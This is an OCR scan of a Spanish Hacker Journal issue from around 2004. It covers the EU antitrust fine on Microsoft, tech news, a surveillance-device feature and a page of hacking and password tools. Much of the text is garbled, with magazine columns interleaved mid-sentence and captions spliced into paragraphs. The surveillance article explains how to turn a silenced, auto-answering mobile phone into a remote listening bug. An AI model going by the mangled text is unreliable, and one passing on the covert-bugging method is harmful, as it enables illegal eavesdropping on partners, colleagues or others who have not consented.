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hack'er (hak’or)
“Persona que se divierte explorando los detalles de los sistemas de programacion y
expandiendo sus capacidades, a diferencia de muchos usuarios que prefieren
aprender solamente lo minimo necesario.”

MULTA [CONTRA JLA [LIBERTAD

E n el tltimo nimero nos preocupdbamos especialmente de las cepas de vi-
rus que proliferan por Internet. La epidemia se encuentra lejos de remitir,
pero lo cierto es que la realidad sigue acumulando noticias que merecen nues-
tra atencion. En esta ocasion, sin duda, la noticia estrella de nuestro mundillo
es la multa a Microsoft en Europa.,

El gigante de Redmond acumula una experiencia nada envidiable de litigios
ante los mas diversos tribunales. Dejando de lado las causas relacionadas con
la libre actividad comercial, muchos de los procesos seguidos contra Microsoft
provienen de sus practicas monopolisticas. Estas practicas han encontrado u-
no de sus campos abonados la adicion de u-
tilidades en sus sistemas operativos. En
principio ésta serfa una buena idea, avalada
por la costumbre inveterada de comple-
mentar lo imprescindible del sistema con
programas y utilidades que amplian y me-
joran su uso. Sin embargo, el caso de Micro-
soft es totalmente peculiar porque, mientras
que las distribuciones de Linux, por ejem-
plo, acumulan programas en los CDs y el u-
suario es quien decide qué quiere instalar y
cambiar (en la instalacion o mas adelante, cuando quiera), Windows sc¢ empe-
na en contener utilidades profundamente enraizadas en el corazon del siste-
ma. El primero fue Internet Explorer, que llevé a Microsoft a afirmar que
era imposible deslindar el navegador del resto del sistema operativo, Sin
embargo, los tribunales no cedieron. Microsoft apeld, y por lo que sabe-
mos atin no ha cumplido todos los términos de los veredictos que hacian
al caso. Es curioso hasta qué punto una empresa tan poderosa puede de-
mostrar que la justicia es materia de discusion, incluso cuando dicta sen-
tencia y condena.

Ahora llega el momento de Windows Media Player. La misma monserga:
(qué harédn los pobres usuarios si se les quita el esencial reproductor de Win-
dows? Pues lo que han hecho siempre: probar la oferta disponible y quedarse
con el que més les guste.

theguilty@hacker- journal.com

UNA REVISTA PARA TODOS

L] MID HACKING

El mundo hacker se compone de algunas cosas simples y otras complicadas, Hay curioses, lectores
sin experiencia y expertos para los cuales el ordenador no tiene secretos, Cada articulo de Hacker
Journal esta marcado con una cluve para cada nivel: NEWRBIE (para quien comienza), MIDHACKING
(para quien ya esta dentro) y | I (para quien no existen los secretos),
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JBIZNVENIDOS R MUESTRO
SITIO WER!

== Seguimos recomendando

una visita para estar

~ al dia de nuestra revista.
Recordad que podeis firmar
en el libro de firmas,
ademas de enviar vuestras
opiniones y dudas

a nuestra direccion

s B
iAeloaded!

Estos son los cddigos necesarios para
acceder a la Secret Zone de nuestro sitio,
que hasta ahora estaba Inactiva acciden-
talmente. En ella podréis encontrar los
nimeros 1y 2 de Hacker Journal en forma-
to PDF. Proximamente iremos incorporan-
do mds nlimeros anteriores a esta seccidn,
para guienes se hayan perdido los prime-
ros nimeros de nuestra revisia.

de correo: Con algunos navegadores, puede ser

necessario insertar dos veces los mismos
cddigos. No os detengdis al primer intento.

USER: SECREG
PASSWORD: D4B4L3

redaccion@hacker-journal.com
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TRYZHACK: METED A
PRUEBA VUESTRA HABILIDAD

Tudos os creéis buenisimos pero, ;lograis superar los
niveles de proteccion de modo ultra rapido? Demostra-
dlo al mundo y a vosotros mismos intentando superar los
diez niveles de dificultad del juego Try2Hack (try to hack),
presente en nuestra web www.hacker-jounal.com. El juego
consiste en superar los niveles, insertando cada vez la pass-
5 word correcta (se puede llegar de otros modos a las paginas
protegidas con password). Para hacerlo, tal vez necesites al-
' gunos programas (Macromedia Flash, Softice, VisualBa-
L y sic).No podemos asegurar que todo funcione exactamente
— : como se debe.
¢Habéis entendido?

"Envia un mensaije a try2hack @ hacker-journal.com escribiendo el nivel al que has llegadoe y los passwords de todos los
niveles superados, Préximamente publicaremos la clasificacién de los mejores”




EXTRAORDINARIO

a era hora! Una posi-
cion dominante que no
permite la libre compe-
tencia: esta es en sin-
tesis la soga puesta
entorno al cuello del tio
Bill. O pagas o apretamos. Ademas de
pagar, antes de 90 dias, el tio Bill ten-

dra que lanzar al mercado una version

de Windows en la que ya no esté
Media Player, evidentemente sin cos-
tes afadidos para el usuario. Y, en un
plazo de 120 dias, Microsoft tendra
que dar a la competencia la informa-
cién para que otros programas pue-
dan integrarse lo mejor posible con el
sistema operativo montado en los ser-
vidores de gama baja. También para
las aplicaciones que se realicen en el
futuro. No hay nada que hacer en
cuanto al cédigo fuente cubierto por
los derechos de propiedad intelectual
y, para tener aunque solo sean partes,
los productores de software lo tendran
que comprar a Microsoft.

La cifra que la Unién Europea ha pedi-
do a Microsoft es la mas elevada que
nunca se haya impuesto a una sola
empresa (en 1991 se reclamaron 75
millones de euros a Tetra Pack), y para

El antitrust de la Union
ha sancionado a Wicy

Europea
soft con

decirlo de golpe es algo estratosféri-
co: algo mas de cuatrocientos noven-
ta y siete millones de Euros. Y aun asi
es solo cerca de un 1,6% del volumen
total de negocios de Microsoft en el
mundo. Es como hablar de avellani-
tas, de piedrecillas en le zapato, para
una empresa que ha declarado tener
una caja fuerte de 45.000 millones de
Euros, solo en liquido. (Sniff...). Haria
falta que perdiera 100 juicios mas
como este para de verdad causarle
problemas al gigante de Redmond.

Hgujero en
el dique

Es el principio lo que cuenta. Hace
solo diez afios los competidores de Bill
Gates eran potencialmente todos,
millones de desarrolladores de todo el
mundo. ;Y cuantos son hoy? Tres,
puede que cuatro.

Pues no sefiores. No podemos conti-
nuar comprando PC que tengan ins-
talado un Unico sistema operativo, sin
tener opcién a decidir como queremos
que funcione nuestro ordenador. Unos
pocos han intentado pedir la desins-
talacion y el reembolso, pasando por

LA BATALLA DE LOS DIEZ ANOS

a Comisién Europea le esta pisando los
tacones a Microsoft desde 1994. Todo
empezo cuando la UE acuso a Microsoft de uti-

lizar sus patentes de manera ilicita, para blo-

LA ACUSACION
El comisario europeo para la competencia Marlo
Monti: "una competencia no distorsionada com-
porta mejores resultados para el bien de los con-
sumidores y este
precedente permite
establecer como
proceder en casos
similares en el futu-
ro", En cuanto a la
determinacion de
una multa "propor-
clonada y equilibra-
da" ha dicho que "no esta tomada a la ligera sino
que es el resultado de cinco afios de investiga-
ciones, de largas discusiones con nuestros exper-
tos y de consultas con los 15 estados miembros”.

LA REACCION

Microsoft apelaré contra la decision del Anti-
trust (pero a ello Monti ha dicho estar seguro
de ganar también el recurso"). "Aunque con-
sideramos que la decision de hoy es equivoca-
da -ha dicho el CEO de Microsoft, Ballmer -
continuaremos colaborando y cooperando con
los gobiernos Y la industria europea para afron-
tar temas compartidos, como la interoperabi-
lidad, la sequridad, la privacidad, el spam y la
tutela de menores en red".

quear a la competencia. Microsoft prometio algu-
nos cambios en su estrategia comercial. Mas
tarde, en 1997, el tio Bill volvid a ser acusado de
no respetar los acuerdos de 1994. Se firmo otro
compromiso. En 1998 Sun Microsystem denun-
ci6 a Microsoft en el antitrust europeo por abu-



extra-
terrestres
en un mundo unifor-

memente conformado o teniendo que
hacer saltos mortales entre articulos
y licencias (http://attivissimo. homeli-
nux.net/rimborso_windows/istruzioni.ht
m). Quizas ahora se ha abierto una
pequefia grieta en el sistema. No hay
duda de que se ha hecho un agujeri-
to en los digues y no hay dedito de tio
Bill que pueda taparlo... ¢La explosi-
va fuerza del agua hara su trabajo has-
ta el final?

No todo el mal...

Microsoft en la defensa y en los
comentarios posteriores a la multa, ha
dejado claro que un sistema operati-
vo sin Windows Media Player no per-

s0 de posicion dominante, por no publicar la
informacion que permita a Windows dialogar con
servidores de la competencia. A principio del
2000 el antitrust oficializé la demanda contra
Microsoft por violaciones del mercado relacio-

nadas especialmente con Windows 2000. Inicid

mitira a los usuarios ver una canti-
dad impresionante de sitios web,
basados en archivas multime-
dia en formatos adaptados
a Media Placer. Y entre
estos, segln palabras
del gran jefe de Micro-
soft Steve Ballmer,
"hasta el sitio del
parlamento italia-
no". Ahi queda eso.
¢, Cémo ha termina-
do el giro hacia
Linux, al que hace
un tiempo habia
apuntado incluso la
Comision Europea?

El primer paso ha sido
un buen paso, pero
deseamos que sea solo el
inicio. De entrada, las pre-
misas estan todas. Basta de
poderes prepotentes, adelante con
el shared. La libertad digital también
consiste en esto. L

el ataque definitivo. En el 2003 un ultimatum de
la Comisién Europea con una propuesta de mul-
ta por valor de mil millones de Euros, por viola-
cion de posicion dominante. Por fin, llega el 2004
y se intenta negociar un compromiso, pero las
negociaciones cesan sin acuerdo el 17 de mar-

8

Microsoft CONDENADA

NO NOS HAGAMOS ILUSIONES

Hace un tiempo Microsoft fue condenada por
el antitrust de los Estados Unidos a ser des-
membrada y a pagar multas muy cuantiosas.
Una serie de recursos y de alegatos han evita-
do la division y redu-
cido notablemente
las multas. Microsoft
ya ha anunciado gue
recurrird a la multa
comisionada por la
Union Europea y ya
han empezado las
presiones internacio-
nales. Personajes
destacados  del
gobierno y del parla-
mento americano
han criticado la sentencia definiéndola como
“un error". Ya veremos...

TODOS CONTRA MICROSOFT

En Japon las autoridades estan investigando
para ver si Microsoft ha infringido las normas
sobre monopolios, RealNetworks ha iniciado
una causa sosteniendo que Windows Media
Placer incluso en Windows es una evidente for-
ma de monopolio. Un

millén de habitantes
de Minnesota han
forzado al estado
americano a una cau-
sa legal contra Micro-
soft por haber tenido
gue utilizar a precio
aumentado servicios
de la sociedad de Bill,
entre 1994 y el 2001.
Otras grandes socie-
dades europeas
estan pensando como utilizar la iniciativa de la
Union Europea para deshacerse del coloso
americano en otros frentes.

2o, cuando Microsoft rechaza comprometerse
de cara al futuro, especialmente para hacer que
Windows sea accesible para la competencia, y
su sucesor en desarrollo, para poder incluir pro-
ductos alternativos a Media Player. El final ya lo
sabemos.
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D HISPASAT: MAS DE (et
] 500 TERM'NALES DE cuando leas esto
ACCESO A INTERNET A g
POR SATELITE cio de correo

ispasat ha instalado mas de 1.500 termi-
nales de acceso a Internet por satélite en
Espana en el dltimo ano, desde que inicid la
comercializacion de servicios de banda ancha ; s
a través de su sistema de satélites. ' i Busqueda;
La operadora de satélite preve duplicar en . apre
2004 el nimero de instalaciones realizadas
hasta el momento, "ante la fuerte demanda e-
xistente en el mercado de este tipo de servi- 1L
cios como alternativa tecnolagica que facilita sitta 1a  ( s Publicidad - Todo acerca de Google - Google.com in English
el acceso a Internet bidireccional/unidireccio- [ 115
nal, conectividad IP, redes privadas virtuales
y distribucion de contenidos", segtin afirma la & 62004 Google - Busoando 4.265,100.774 piginas wab
entidad. 6 | L iadls
Entre las companias que ya utilizan los servi- t) @ Internet
cios de Hispasat se encuentran Telefénica, !
Neo-Sky, Globescat, Telecom Castilla La
Mancha, Unién Fenosa, Satwan, ltaca, Sat-
conxion, BT y Red.es. Asimismo, dichos ser-
vicios se dirigen especialmente a centros e- ! g, como oiras Vaces, i _
ducativos, ayuntamientos, usuarios empresa- : no que ha tomado un ser-  El §
riales y residenciales. b . [ omo es el co- nifi a mformac!én del buzén de cormeo
X web y ha repetida la  serd accesible desde cualquier navegador del
ionado con su buseador:  mundo. Con estas armas puede dejar fuera de

s LAS DlSCOGRAF'CAS el hardware es barato, por lo tanto vale la pena  juego a servicios como el decano Hotmail,

aportar mucho hardware 1 GB de almacena- comprado por Microsoft y desde entonces po-
NO SE INMISCUYEN i . ibi mbién Yahoo! Mail, que arreba-
' i

Google.es ofrecido en:

La industria emprendera acciones judiciales
contra 247 internautas en Europa y Canada
por compartir misica protegida por derechos
de autor tras el éxito de las querellas en Esta-
dos Unidos.

La industria discogréfica espanola no deman-
dara, por el momento, a los usuaries que des-

ca M nze Este teléfono comu-
carguen desde Internet canciones de muisica - el nica al cliente, por

de forma ilegal, segtin Antonio Guisasola, pre- medio de la voz, la

sidente de Afyve (Asociacidn Fonografica y !Iegalda |d° n;ensa-
Videografica Espanola). | e ; jes, las llamadas en
De esta forma, Afyve no se sumara a la inicia- P 1 pEnera 0y pardldas V.
tiva que ha emprendido la Federacion Interna- i gl A e el b

cional de la Industria Fonografica (Ifpi, en su ;
siglas en inglés) en tres paises europeos (Ale-
mania, Dinamarca e ltalia) y Canada. La aso-
ciacion anuncio ayer la presentacion de 247
demandas contra usuarios de redes de inter-
cambio de archivos en la red, conocidas co-
mo P2P, por compartir ilegalmente musica
protegida por derechos de autor.

6 | www.nacker-journal.com



[ presrdente de

Microsoft, Bill
Gates, ha ofrecido |: &rchive
detalles sobre el |- oi

proximo sistema ‘——

operativo de la msdn

compaiifa, 'Long- |
horn', que estaré a '

MEDN Home

|| search for

_nll MSDN =

Il Advanced Search
Longhorn Developer
Center Home

L3 : Headline Archive
més “quﬂd | Product Information

:33_9'-"‘ 1 Gates., | Understanding Longhorn
Longhorn' consti- § oo materials
tuye la principal § community
novadad dasﬂe Tools & Code Samples
Support
Products & Technologies

[ New MSDN
Subscription

voz, servicios telefonicos mtsgradua

en la capacidad grafica.

Durante el discurso, un empleado de Microsoft
dio una demostracién de 'Longhorn’, resaltando
entre otras presentaciones una barra lateral, un
area en el lado derecho de la pantalla, capaz de

A Longhorn Developer Center - Microsoft Internet Explorer
Edicisn  Ver Favoritos Herramientas Ayuda
E} http:/fmsdn.microsoft,comflongharn/

Mictosoft.cony Home | Site Map
Developer Centers | Library | Downloads | Code Cente

Microsoft* Windows® Code-Named “Longhor
Beginning a technology wave that will define the digital decade

r Centar Home

Write Asynchronous, State
Services with the Indigo Se
Explore the attribute-based pro
"Indige” for writing Web service
Indigo programming model wit
programming model, then walk
samples.

Gode hsme

Longhom

Learn ahout the Media Integration Layer, the low-le
"fvalon,” the presentation subsystem in Longhorn.

MSDN Webcast: Managed and Native Code in L
Existing C/C++ lications

d émlcamante llstas de me,; ajes,

recios de acciones, noticias y fotos. _

El sistema operativo serd una herramienta més

atil para navegar por la informacién. En lo que

se refiere a la interfaz, no se espera gue Micro-

soft dé demasiadas pistas, en parte debido a
los temores de que otros copien las ideas.

S PRINCE VENDE SU MUSICA EN INTERNET

3 200 WIE LT | € Ticial ) o 0l B fice

£ onel que ofrecerd sus

propras canciones a precms rebajados. La i-

niciativa fue calificada por el cantante como |
"el primer comercio independiente de descar- |

ga que es propiedad de un artista",
El cantante de Minnedpolis ha anunciado el
lanzamiento del Musicology Download Store

enun comumcado divulgado en el sitio de In- |

il [l PG Bacppsnd) bt | plamy

feve Elcin Yw Enoton Heemertn by

persu alm __e (

con la industria "™

www.hacker-journal.com | 1

DMAS PORTALES EN
CHINA

EI nimero de portales chinos aumento
un 60,3% en 2003 a pesar de la censura
oficial

El nimero de portales chinos en Internet
aumentd el ano pasado un 60,3% hasta
alcanzar los 600.000, a pesar de la
censura que el Gobierno ejerce en la Red,
segin informé el Centro chino de
Informacion de la red de Internet,

Estos datos se publican una semana
después de que Reporteros Sin Fronteras
(RSF) concediera a China la "palma de
oro" de la censura y la represion en
Internet  por ‘"encarcelar a 60
'ciberdisidentes', filtrar cientos de miles
de sitios y ejercer una vigilancia
implacable de los correos electronicos".

2 SIMPUTER, EL ORDE-
NADOR DE LOS POBRES

EI Simputer, un computador de bolsillo dise-
fiado para hacer accesible la tecnologia a
personas de bajos recursos y a los habitantes
de las zonas rurales de la India, fue lanzado al
mercado con tres afios de retraso. Este equipo
esta fabricado por una compaiia ligada al go-
bierno.

Con un retraso de tres afos, fue lanzado al
mercado el Simputer. Este equipo portatil es el
primer computador disefiado y manufacturado
en la India y promete estrechar la gran brecha
digital existente en ese pais.

Se calcula que en la India Gnicamente 9 de ca-
da 1.000 personas tiene un ordenador, porque
los ordenadores son demasiados caros para
su pader adquisitivo.

Es por este motivo que el computador desa-
rrollado por el Instituto Indio de Ciencia, serd
fabricado por Bharat Electronics, una firma
perteneciente al gobierno del pais oriental y
tendra Linux como sistema operativo, de a-
cuerdo con una estrategia que busca mante-
ner los costos de produccion lo mas bajos po-
sible.

El Simputer permitira a sus usuarios navegar
en la red, organizar sus archivos y enviar co-
rreos electronicos, entre otras aplicaciones, El
aparato también incluye un software para es-
cribir texto en Hindi y Kannada, y actualmente
se estudia la posibilidad de incluir otros dialec-
tos de la region.

T
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CASA?

Gracias a la miniaturizacion y a la reduccion de los costes,
microfonos ambientales y transfiSores estan al alcance de
cualquiera. ¥ con un poco de inventiva se pueden adaptar
aparatos de uso comin para transformarlos en microscopicos,
:(Como defenderse de esta nuedfl@menaza tecnologica?

eucci, Marconi y Bell no
podian imaginar qué
estaban desencadenan-
do... Estos personajes
que han revolucionado
las relaciones interper-
sonales en el seno de la sociedad,
entre los gobiernos, los ejércitos, no
podian ni imaginarse que aquellos
grandes aparatos que habian inven-
tado, hoy se habrian convertido en
"chucherias al alcance de los nifes!,
por cuanto han sido reducides hasta
parecer juguetitos. Estos juguetitos se
denominan "chinches" o mas técnica-
mente microtransmisores.
Si hasta hace unos anos, estos apara-
tos estaban al alcance sélo de las
fuerzas del orden, investigadores pri-
vados y espias profesionales, hoy,
gracias a las reducciones de costes y
a la facilidad de acceso (debida tam-
bién a Internet), estén al alcance de
cualquiera.
Como sucede con ofras tantas cosas,
el hecho que sea relativamente facil y
econéomico conseguirlos no significa
que su uso indiscriminado sea legal.

A lo largo de este articulo encontra-
réis referencias a las leyes que regu-
lan esta materia.

Por ahora nos ocuparemos de ver qué
tipos de bichos microscopicos existen,
para comprender hasta dénde llega
la amenaza a la privacidad de cada
cual...

> Los
microtransmisores

Los microtransmisores sin hilos son
auténomos, de facil instalacion y se
pueden conseguir facilmente en cual-
quier tienda de electrénica ya cons-
truidos o para montar.

Los inalémbricos transmiten noermail-
mente en UHF (Ulira High
Frequency) en modulaciones de fre-
cuencia (FM) en las frecuencias de
400 o 800 MHz , tienen una poten-
cia de antena del orden de mW, (50
mW, 100 wM) y un alcance de 30,
60, 80 metros. Estas miniaturas pue-
den tener diversos formatos y aspec-

08 |www.nacker-iournal.com

tos segUn el disefo de construccion,
y en general estdn hechos para ser
ocultados en objetos de uso cotidia-
no.

En los Gltimos anos se han multipli-
cado las tiendas especializadas en
aparatos para la vigilancia por audio
y video, que gracias a Internet ahora
pueden ofrecer su propio catdlogo
en todas partes; o menudo estas
tiendas tienen nombres referidos al
espionaje, y los productos ofrecidos
recuerdan a veces el armamento que
el doctor Q equipaba al agente 007
en las peliculas de James Bond.
Ademds de micréfonos y videocdma-
ras, frecuentemente venden también
magquinas de la verdad, accesorios
para sanear entornos y armas de
defensa personal, como los sprays
irritantes. En el "supermercado del
espia”, en realidad los precios son
mas bien altos: a partir de unes 200
euros por un kit compuesto de un
micréfono con transmisor y receptor,
pero se llega rapidamente a los
1000 euros © mds por un beligrafo,
una calculadora o un falso mévil que



ocultan micréfono y transmisor.

Si ademds del audio se quiere gra-
bar también la imagen, con foto o
video, los precios siguen subiendo,
Se encuentran videograbadoras par-
ticulares, que capturan sélo cuando
perciben un movimiento en la habi-
tacién "espiada" y que pueden gra-
bar muchas horas de video en una
sola cinta.

MICRO

TRANSHISORES
CRAMUFLADOS

/ Bateria del mévil con
/ MicroTX

Beh es una simple bate-

ria con un micré- |

fono que captura

todas las senales
aclsticas  y  las
fransmite.

>> Soluciones econo- |
micas para tipos prac-
ticos

e Es mas fuerte el boligrafo
que la espada, espe-
cialmente si no es un
boli nermal. Este con-
fiene un micréfono y

transmite hasta 300
‘metros.

Si estos fueran de verdad los costes
para poner bajo contrel un entorno o
una persona, probablemente serian
pocas las personas que pedrian per-
mitirse espiar un marido o una espo-
sa, un colega, un dependiente o un
jefe. Sin embargo, para quien tiene
un minimo de prdctica en elecirénica,
y un poco de inventiva, el coste de
realizar un aparate de vigilancia
puede reducirse a pocos euros.

Las tiendas de electrénica venden de
hecho kits para construir micréfo-
nos con fransmisores a partir de 5
- 10 euros. Muchos de estos kits
econémicos transmiten en la §
banda de las radies FM norma- &
les, y por ello no es preciso I J’
siquiera comprar un receptor i
dedicado (aunque en este caso °
es posible que alguien més - incluso
el propio sujeto espiado- pueden ofr
las conversaciones en su propia
radio).

Incluso quien no se maneja con los
condensadores y el soldador puede
improvisar diversas soluciones con
objefos de uso comun. Basta deshabi-
litar los sonidos y vibraciones de un
mébil, configurarlo para que respon-
da avtomdticamente las llama-
das (una opcién que a menudo
se presenta como 'respuesta
manos libres!), conectarle un kit
de auricular (que tiene un
micréfono de amplio espectro y
puede silenciarse quitando el
auricular), y he aqui un transmi-
sor de interesantes caracteristi-
cas. Se activa remotamente (basta
marear su numero), capta los sonidos
emitidos en un radio de varios

Calculadora con
MicroTX en UHF
2Una caleuladora de 500
euros? Si, pero fiene un
micréfono y un transmisor
que cubre una gran distancia.

N

—r
=R
AT

L&

MicroTX del tama-
no de 1 euro

Este micréfono puede ins-
talarse en cualquier sitio y
| fiene la caracteristica de ser
' “always on”, es decir, siem-
pre conectado.

MicroTX con hilos
jivarizado i
Este micro transmisor es
partficularmente peque-
fio pero muy sensible,
pero como todos los dis-
positivos eléctricos
requiere alimentacién.

Micréfono con para-
bola
Un !
micro alfamente sensi- |
ble y fuertemente
direccional, inserfado
en el foco de una
pardbola, que recoge
incluso las sefales
débiles y las hacen audibles hasta

varias decenas de metros.
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Un feléfono mévil con un micréfono sensi-

ble, con los sonidos deshabilitados y confi-
gurado para responder autométicamente a
las llamadas entrantes, puede transfoermar-
se en un micréfono que se activa a petficién
y transmite a todo el mundo.

metros, y puede transmitirlos hasta el
otro lado del mundo, aunque sélo sea
un teléfono activo por el coste de una
llamada.

Algunas videocdmaras recientes fam-
bién permiten grabar sélo cuando
perciben un movimiente o entrada en
su campo visual. Se trata de una fun-

~=a cionalidad estudiada para los foté-
% grafos de la naturaleza, que pue-
L

w = den dejar la videocamara en un

N

—

" bosque y grabar sélo cuando el

sensor de infrarrojos detecta un ani-
mal (o una persona) en movimiento
ante el objetivo.

>> Cuando el espia es el
ordenador

Si hablamos de aparatos "versati-
les', ninguno lo es tanto sin duda
como lo es un ordenador, Con el
programa y los accesorios ace-
cuados se puede hacer cualquier
cosa. El método mas elemental
para espiar la actividad informé-
tica de una persona es instalar
un caballo de troya, es decir, un
programa que permite el control
total del ordenader en el que estd ins-
talado. Nuestro espia podria ver una
imagen de nuestra pantalla, y descar-
gar cualquier archivo presente en el
disco duro, Si esto ya es preocupante,
recordad que algunos troyanos pue-
den incluso guardar las teclas pulsa-
das y enviar periédicamente un men-
saje con el texto escrito en cualquier
programa (letras reservadas y contra-
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CHINCHES, MICR QPIOS

Espias de pelicula

La miniaturizacién y la vigilancia
son protagonistas en la pelicula
Enemigo publico, con Will Smith y
Gene
t Hackman. Un
civdadano
normal que se
encuentran en
el lugar equi-
vocado en el
momento |
[ P inoportuno
acaba en pose-
sién de pruebas
comprometedo-
ras contra un
renombrado
politico. Sin ni
siquiera saber el

ofras cosas gestiona Echelon.

En el romance -action de Bruce
Sterling, se emite |

hipétesis

de que

en el v

2020 los w
micro-
chips
serdan tan
accesible

AIIRMATE

micos que

nadie se

preocupas-

rd de recu-

perarlos

fras su

uso: por lo tanto, quedardn activos
durante afos en oficinas, casas y
lugare slicos. Cualquiera podré
escuchar lo que se dice con una
simple radio. Por eso, nadie puede
estar nunca seguro de que una con-
versacién reservada lo sea realmen-

te. Una |8C1'U!'C‘l sumamente intere-

sante,

WL T e "
ENEMY OF THE STATER

|

WIGILANCIA

senas incluidas), y pue-
den incluso activar los
eventuales micréfono y
webcam para transmifir

audio y video por
Internet.
Con la conexién de

banda ancha siempre
activa (ADSL, cable...),
un ordenador perma-
nentemente conecta- -
do puede convertirse
en un pn_nfentp quipo Muchos tro
de espionaje, listo [la pantalla,
para captar toda unprogram
palabra pronuncia- audic v vid
da o escrita, todo ‘Un micréfo
archivo abierte en :
pantalla y ver qué sucede en la
habitacion donde se encuentra. Es '
para echarse a temblar,

> Como
defenderse

De acuerdo, probablemente
ninguno de vosotros se
encuentra en el punto de mira
de un malintencionado que ha
decidido dedicar su tiempo a
espiar todo lo que

hace. Pero la _ —
prudencia
nunca es exce-
siva, y una
sana dosis de
paranoia
siempre puede
resultar otil. En
el comercio se
encuentiran

\

diversos |kits

para la limpieza |

ambiental que { | —
llevan a ==

cabo un & -

repaso { ~ |

de todas las

frecuencias en busca
de una portadora de intensi-
dad superior al ruido de
fondo. Si se encuentra una,
significa que probablemente
en la vecindad existe un trans-
misor. A un nivel elemental, se
puede efectuar una operacion
parecida usando una simple
radio comin, cambiando len-

10 | www.nacker-journal.com

Yanos p uede

_tamente la
sintonia hasta
cubrir toda la
gama de fre-
' cuencias. Pero
es evidente
| que esto cubre
| sélo la gama de
frecuencias uti-
| lizadas comer-
cialmente (por
ejemplo en el
caso de la radio
FM, de 88 a 108
MHz), y si el
espia es minima-

'eden cupfurqf
el texto Insertado en

9 ¢ incluso grabar

€0 de uyng webcam o
no.

evitara utilizar

; para sus proposi-
tos estas frecuencias. En las
tiendas especializadas, leos
escaneres para la limpieza
ambiental son muy caros (a
partir de unos mil euros los

mas baratos), y ademdas hay
que saber utilizarlos bien, de
lo contrario se corre el riesgo
de tener una "falsa" sensacion
de seguridad determinada por
haber llevado a cabo un repa-
so aproximado,

Si la reserva es
un tema funda-
mental, convie-
ne pues acudir
a un especia-
lista que inter-
vendra con su

mente inteligente |

propio instru- |

mental y su
capacidad
- » para anali-
3 s z a r

ambientes y lineas telefénicas.
Sin recurrir a ciertos medios,
basta con un poco de prudencia:
si se tiene que mantener una

|conversuci6n realmente reser- |

vada, no hay que tenerla en la
oficina o en casa; es mejor bus-
car lugares abiertos y ruidosos,
donde las interceptaciones son
mas dificiles. rd
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HERRAVE
DEL_OFIC!

Iodo hacker cuenta conun |
ciertonimero de programas
wﬂuﬁﬁlﬂngﬁwm
T escribe anadidos de su/punoy
Ietra, Deamos como funcionan
tranalgunas

delas utilidades mas

jdonde SEE

utilizadas,

LA CABEZA

Port Explorer

S;:tbeﬂo todo, absolutamente
od, sobre cualquier cadena

.......

de datos transmitida a través de
los puertos de nuestro PC es re-
almente dificil. Port Explorer es
capaz de proporcionar esta infor-
macién y de hacer ofras lindezas
como localizar geogréficamente
el origen de una transmisién de

= -

datos o tracear un pague-

te para ver qué recorrido

ad SigUe y .
cuénto se de-#

- mora en cada ser-
vidor. El sitio para
descargar esta joya
es hitp://www.dia-

== monedecs.com.au/por-

“ltexplorer/. Tras ha-

.| ber probado durante
un mes el programa,

podemos decidir si pagar cerca
de 30 délares a DiamondCS pa-
ra obtener la licencia de uso. De
todos los modos de gastar 30
délares en la Red, éste podrfa
resultar ser uno de los mds pro-
vechosos.

Accolih Semch View Tools Help

.Jl - LJ Sl r 2,
.;.uw:'nfamuim[

L CE DL A LR =8 3 S S St S U
[ @ miwebAttack

g S

HoeCoo|

as contrasefias deberfan
Lser: dificiles de adivinar,
Y complicadas de escribir, con
% numeros y letras mayGscu-
+las y minusculas y posi-

‘. blemente con algin

D carécter ASCIl no dis-
Yponible en el teclado. De-
bido a que luego no es nece-
ario escribirlo en ninguna
parte, tarde o temprano corre-
mos el riesgo de vernos expul-

sados de nuestro correo
electrénico o, peer aun, de
nuestro PC, y vernos obliga-
dos a pasar horas crackean-
do nuestros propios archivos.
Para evitar esta embarazosa
e inconfesable situacién, Ou-
bliette se ofrece para recor-
dar por nosotros nuestras
contraseras y conservarlas a
salvo de miradas indiscretas.
Légicamente, también Ou-
bliette tiene una contrasefd, y
si la olvidamos el desastre es
total, pero al menos el esfuer-
zo mnemaénico estd al alcance
de los mds ocupados con mu-
chas cuentas. Oubliette es
gratis y se puede descargar en
http://www.tranglos.com/
free/. El programa es Open
Source y, si nos gusta progra-
mar, podemos personalizarlo
COMO ¢Ueramos.

g
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A
\ ‘Password Recovery Tools

‘| tenemos problemas
una confrasena
de cualquier do-
cumento de Of-
fice, podemos
visitar
WWW.pass-
wordrecoveryto-
ols.com/, donde
. | hay programas
_ |para recuperar

contrasenas es-
pecificas para cada
aplicacién.  Tenlo
siempre @ mano,

o

Afunos se han especializa-

o en la recuperacion de
contrasenas olvidadas, cosa

Militia Password Repealer

LA CABEZA

e que sin duda les honra. Si

http://* / 'I-.

f.'nr;r | A o S

con

=g
rer. Si tenemos acceso
-= ofros equipos a travé
de la red, |IECookieVie
"— permite abrir y modif

“ fes en equipos remotc
.y guardar el contenid
' de esos archivos. De;
carga ya la version 1.5
es este prdctico instru
e » mento conectando cc
e s = el sitio http://nirsoft.tr
pod.com/. Una sola recomende
cién: si no te gustan los popup
activa un programa de proteccié
de las pesadas ventanitas antes ¢
ir al sitio de |ECookie; su autor ds
ja como freeware su programs
pero en contrapartida cree qu
nuestro monitor puede contens
mds ventanas que un palacio nec

in :-elu k.o

ernatmaci corm Yos

ancelar todas las cookies pue-

den hacerlo muchos, pero
abrirlas, modificarlas y seleccionar-
las para hacer con ellas lo que
queramos es mds divertido y Util.
IECookieView es un pequefio pro-
grama gratuito que per-
mite hacer esto y mdas
interactuando  perfecta-

mente con Internet Explo- clésico.
n el sitio hitp://
Selact the savica you want la conriect www.militia.co.uk/ po-
m”m““’mm demos descargar uno de
Coprectlo:  [Lame ISP los mds simples y eficaces
i | programas para recupe-
e D rar contrasefas de cua-
““““ dros de texto. Militia Pass- Sam Spade

cuentran en este sitio.

word Revealer es gratuito,
como ofras dos o tres ex-
travagancias que se en-

1)

Sam Spade incluye numerosos
_ médulos de control del fréfico en
la red, verificacién de los servido-
res, traceroute, finger, whols y su-
ma y sigue. En el sitio
* hitp://www.samspade.org/ssw/d
A -~ ownload.html podemos descar-
E gar este software gratuito y ufilisi-
mo, mientras que si nos quere-
mos divertir un poco sin instalar
nada, ya puestos, hagamos un
salto a http://www.samspade
.org/t/.

ste programa es para un nave-
gante experfo lo que una na-
vaja suiza es para un explorador:
no se puede salir de casa sin él.



SpamPal

gl Geaphicn

SpamPal
-

Z
) b

i el spamming es un pro-
blema, una primera de-
fensa puede llegar gracias a
SpamPal, que es gratis, pe-
quefio y simplicisimo. Lo en-
contramos en el sitio

pal.org/ y lo Gnico
que hay que hacer
con atencién una
vez descargado e
instalado el pro-
grama es configurarlo. Si lo
hacemos bien, este pequefio
